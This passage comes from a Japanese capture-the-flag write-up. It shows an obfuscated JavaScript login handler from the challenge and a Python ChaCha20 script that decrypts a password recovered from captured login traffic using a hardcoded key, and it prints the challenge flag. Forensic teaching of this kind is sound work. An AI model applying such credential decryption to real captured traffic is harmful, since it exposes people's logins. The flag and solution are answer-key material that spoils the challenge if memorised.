_0xe['\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74']();
var _0xu = document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64'](_0xf7e2(0x3))['\x76\x61\x6c\x75\x65'];
var _0xp = document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64'](_0xf7e2(0x4))['\x76\x61\x6c\x75\x65'];
var _0xep = _0xenc(_0xp);
try {
var _0xr = await fetch(_0xf7e2(0x6), {
'\x6d\x65\x74\x68\x6f\x64': _0xf7e2(0x7),
'\x68\x65\x61\x64\x65\x72\x73': {'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65': _0xf7e2(0x8)},
'\x62\x6f\x64\x79': JSON['\x73\x74\x72\x69\x6e\x67\x69\x66\x79']({'\x75\x73\x65\x72\x6e\x61\x6d\x65': _0xu, '\x70\x61\x73\x73\x77\x6f\x72\x64': _0xep})
});
var _0xd = await _0xr['\x6a\x73\x6f\x6e']();
if (_0xd['\x73\x75\x63\x63\x65\x73\x73']) {
window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66'] = _0xd['\x72\x65\x64\x69\x72\x65\x63\x74'];
} else {
document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64'](_0xf7e2(0x5))['\x74\x65\x78\x74\x43\x6f\x6e\x74\x65\x6e\x74'] = _0xd['\x6d\x65\x73\x73\x61\x67\x65'];
}
} catch (_0xerr) {
document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64'](_0xf7e2(0x5))['\x74\x65\x78\x74\x43\x6f\x6e\x74\x65\x6e\x74'] = '\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x20\x65\x72\x72\x6f\x72';
}
});
</script>
</body>
</html>
これを参考に、http_objects/login の password を復号します。
import base64
def chacha20_block(key: bytes, nonce: bytes, counter: int) -> bytes:
def quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xffffffff
state[d] ^= state[a]
state[d] = ((state[d] << 16) | (state[d] >> 16)) & 0xffffffff
state[c] = (state[c] + state[d]) & 0xffffffff
state[b] ^= state[c]
state[b] = ((state[b] << 12) | (state[b] >> 20)) & 0xffffffff
state[a] = (state[a] + state[b]) & 0xffffffff
state[d] ^= state[a]
state[d] = ((state[d] << 8) | (state[d] >> 24)) & 0xffffffff
state[c] = (state[c] + state[d]) & 0xffffffff
state[b] ^= state[c]
state[b] = ((state[b] << 7) | (state[b] >> 25)) & 0xffffffff
key = key.ljust(32, b'\x00')[:32]
nonce = nonce.ljust(12, b'\x00')[:12]
constants = b"expand 32-byte k"
state = [
int.from_bytes(constants[i:i+4], 'little') for i in range(0, 16, 4)
] + [
int.from_bytes(key[i:i+4], 'little') for i in range(0, 32, 4)
] + [counter] + [
int.from_bytes(nonce[i:i+4], 'little') for i in range(0, 12, 4)
]
working_state = state[:]
for _ in range(10):
quarter_round(working_state, 0, 4, 8, 12)
quarter_round(working_state, 1, 5, 9, 13)
quarter_round(working_state, 2, 6, 10, 14)
quarter_round(working_state, 3, 7, 11, 15)
quarter_round(working_state, 0, 5, 10, 15)
quarter_round(working_state, 1, 6, 11, 12)
quarter_round(working_state, 2, 7, 8, 13)
quarter_round(working_state, 3, 4, 9, 14)
keystream = bytearray()
for i in range(16):
result = (working_state[i] + state[i]) & 0xffffffff
keystream += result.to_bytes(4, 'little')
return bytes(keystream)
def chacha20_encrypt(plaintext: bytes, key: bytes, nonce: bytes) -> bytes:
ciphertext = bytearray()
counter = 0
for i in range(0, len(plaintext), 64):
block = chacha20_block(key, nonce, counter)
block_size = min(64, len(plaintext) - i)
for j in range(block_size):
ciphertext.append(plaintext[i + j] ^ block[j])
counter += 1
return bytes(ciphertext)
key = b"PLANT_ChaCha20_SecretKey_2026!!"
nonce = b"PLC_N0nc3_!!"
enc_password_b64 = "RUgSWSnENkGwF5XxpYJDN3TkPAVEsEiOmS8ys6tj"
enc_password = base64.b64decode(enc_password_b64)
dec_password = chacha20_encrypt(enc_password, key, nonce)
print(dec_password.decode())
Flag: flag{Ch4Ch4_Str34m_Vuln3r4bl3}
おわりに
Pwn と Programming の writeup は時間があれば追記します。
1位のチームは1時間未満で全完しており、本当に驚異的な速さでした。皆さん、お疲れ様でした。
Discussion
コンテストお疲れ様でした!
自分は解けない問題も多かったので参考にさせていただきます。
1位のチームはフラグ提出までAIで解いているので早いのも納得ですね。